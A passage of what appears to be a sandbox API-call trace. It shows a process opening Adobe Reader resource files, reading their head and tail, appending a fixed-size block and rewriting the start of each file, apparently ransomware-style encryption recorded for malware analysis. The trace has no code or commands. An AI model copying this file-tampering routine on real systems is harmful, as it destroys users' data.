(x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\sy______.pfb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.433] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.433] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8791 [0041.433] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.433] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.433] ReleaseMutex (hMutex=0x128) returned 1 [0041.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFB", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFB", lpUsedDefaultChar=0x0) returned 12 [0041.433] ReadFile (in: hFile=0x198, lpBuffer=0x2809d28, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.453] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7791 [0041.453] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.453] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7791 [0041.453] WriteFile (in: hFile=0x198, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.454] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.454] WriteFile (in: hFile=0x198, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.454] CloseHandle (hObject=0x198) returned 1 [0041.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_jo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.459] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.459] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6c96 [0041.459] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.459] ReleaseMutex (hMutex=0x128) returned 1 [0041.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_JO.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_JO.txt", lpUsedDefaultChar=0x0) returned 30 [0041.459] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.463] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c96 [0041.463] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.463] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c96 [0041.463] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.464] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.464] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.464] CloseHandle (hObject=0x1c4) returned 1 [0041.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.468] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.468] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6c96 [0041.468] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.468] ReleaseMutex (hMutex=0x128) returned 1 [0041.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_TN.txt", lpUsedDefaultChar=0x0) returned 30 [0041.468] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.472] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c96 [0041.472] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.472] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c96 [0041.472] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.473] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.473] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.473] CloseHandle (hObject=0x1c4) returned 1 [0041.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.794] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.794] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6d72 [0041.794] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.796] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.796] ReleaseMutex (hMutex=0x128) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.da_DK.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.da_DK.txt", lpUsedDefaultChar=0x0) returned 30 [0041.796] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.799] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5d72 [0041.799] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.800] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5d72 [0041.800] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.800] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.800] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.801] CloseHandle (hObject=0x168) returned 1 [0041.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.804] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.804] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e88 [0041.804] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.804] ReleaseMutex (hMutex=0x128) returned 1 [0041.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 30 [0041.805] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.809] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e88 [0041.809] ReadFile (in: hFile=0x198, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.810] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5e88 [0041.811] WriteFile (in: hFile=0x198, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.811] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.811] WriteFile (in: hFile=0x198, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.811] CloseHandle (hObject=0x198) returned 1 [0041.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.814] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.814] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6ec0 [0041.814] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.814] ReleaseMutex (hMutex=0x128) returned 1 [0041.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0041.815] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.816] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5ec0 [0041.816] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.817] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5ec0 [0041.817] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.817] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.817] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.817] CloseHandle (hObject=0x168) returned 1 [0041.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.818] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.818] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6ec8 [0041.818] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.818] ReleaseMutex (hMutex=0x128) returned 1 [0041.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 30 [0041.818] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.820] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5ec8 [0041.820] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.821] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5ec8 [0041.821] WriteFile (in: hFile=0x168, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.821] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.821] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.822] CloseHandle (hObject=0x168) returned 1 [0041.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.823] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.823] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6f48 [0041.823] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.823] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.823] ReleaseMutex (hMutex=0x128) returned 1 [0041.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_CA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd8c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_CA.txt", lpUsedDefaultChar=0x0) returned 30 